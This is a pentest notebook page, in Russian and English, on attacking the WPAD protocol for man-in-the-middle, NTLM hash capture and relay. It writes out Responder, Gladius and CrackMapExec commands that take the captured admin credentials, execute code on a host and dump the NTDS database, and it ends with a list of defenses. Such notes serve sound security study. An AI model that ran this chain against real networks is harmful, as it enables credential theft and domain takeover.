🖋️
Dev & Ops
Network
Network
  • Network Book
  • Сети для самых маленьких
  • OSI
    • Протоколы над сетями
      • NAT
      • BGP
      • Криптографические протоколы
        • SSL
        • TLS
          • Расширения
            • TLS-ALPN
        • SSH
        • IPSec
      • Обмен сообщениями (IM) в режиме реального времени и информации о присутствии (Presence)
        • SIMPLE (Основан на SIP)
        • XMPP/Jabber
        • Matrix
      • VoIP
        • Intro
        • Протокол SIP
        • Пентест
      • WebRTC
      • VPN
    • L7: Application Layer
      • WEB
        • (не поддерживается) SPDY
        • HTTP
          • WebSockets
          • h2c (HTTP/2 Cleartext)
          • Коды ответов
          • Заголовки
          • URI
        • HTTP/2
        • HTTP/3 (HTTP-over-QUIC)
      • Почтовые протоколы
        • IMAP
        • POP
      • Windows
        • HTTP / Windows
        • LDAP
        • RPC
        • SMB
        • Windows Name Resolution
          • Какие есть
          • mDNS
          • LLMNR
          • NBNS
        • WinRM
        • WPAD
      • DHCP
      • NTP
      • DNS
      • FTP
      • SMTP
      • SSH
      • Telnet
    • L6: Presentation Layer
      • SSL/TLS
    • L5: Session Layer
      • SSDP
    • L4: Transport Layer
      • SMPP
      • QUIC
      • UDP
      • TCP
    • L3: Network Layer
      • IP (IPv4, IPv6)
      • ICMP
    • L2: Link Layer
      • Логическое разделение протоколов на этом уровне
      • 802.3 (Ethernet/ARP)
      • 802.1Q (VLANs)
      • 802.11 (Wi-Fi)
        • План
        • Атаки
        • Инструменты
        • Статьи
      • NFC
      • Bluetooth
  • Security
    • MiTM
    • Network Pentest Course (youtube)
    • Tools
      • HTTP Proxy
        • mitmproxy
        • broxy
        • netty
        • proxenet
        • ZAP
        • PolarProxy
      • Wireshark
      • Bettercap
      • Impacket
      • Responder
  • Devices
    • Common Network Device Manufacturer
    • Physical Servers
Powered by GitBook
On this page
  • About
  • Impact
  • Description
  • Example
  • Защита
  1. OSI
  2. L7: Application Layer
  3. Windows

WPAD

PreviousWinRMNextDHCP

Last updated 3 years ago

About

Web Proxy Auto-Discovery Protocol

http://wpad/wpad.dat as PAC file

Hijack WPAD -> Proxy Server

Insert any html tags in HTTP Response

Атаке через протокол WPAD подвержены все системы — Linux, Windows, MacOS

Impact

Злоумышленник может выполнить атаку «человек посередине» (MiTM) на уязвимые системы, если они находятся в той же локальной сети, что и система-жертва (внутренняя сеть, кафе, аэропорт).

Злоумышленник может выполнить атаку MiTM через Интернет, если он сможет зарегистрировать новый gTLD, который конфликтует с внутренней схемой имен, и развернуть поддельный прокси-сервер WPAD.

Description

Есть разные варианты атаки, однако основная идея схожа. Атакующий отвечает на запросы аутентификации by spoofing name resolution responses. [TODO]

Example

Стартуем Gladius (чтобы он подхватывал хеши)

~/gladius# sudoo ./gladius.py --responder-ddir /home/ubuntu/Responder/logs -r hob064.rule

Далее запускаем Responder.

$ sudo responder -I eth2 -wF 

Далее заходим уже с полученными кредами по SMB, исполняем код, дампим ntds:

~/CrackMapExec# ./crackmapexec.py 10.10.10.2 -d CORP -u Administrator -p Password -x 'whoami'
~/CrackMapExec# ./crackmapexec.py 10.10.10.2 -d CORP -u Administrator -p Password --ntds drsuapi

Защита

  • Create a WPAD entry which points to the corporate proxy server or disable proxy auto-detection in Internet Explorer.

  • Disable NBNS and LLMNR (test in a lab before deploying to all systems).

  • Set valid DNS entries for all internal and external resources.

  • Monitor the network for broadcast poisoning attacks.

  • Restrict outbound 53/tcp and 445/tcp for all internal systems.

Основная статья:

Tools: Gladius: HobORules: Responder:

Apart from getting the , this could be useful for attacks, since the HTTP doesn't required sign in NTLM and therefore it can be used with any other protocol in NTLM cross-protocol relay attack.

Moreover, to serve the PAC file to the victim will allow you to execute some javascript code as the victim, which could be used to .

https://www.praetorian.com/blog/broadcast-name-resolution-poisoning-wpad-attack-vector/
https://www.praetorian.com/blog/gladius-automatic-responder-cracking
https://www.praetorian.com/blog/hob064-statistics-based-password-cracking-rules-hashcat-d3adhob0
https://github.com/SpiderLabs/Responder
NTLM hash to crack
NTLM relay
exfiltrate the visited URLs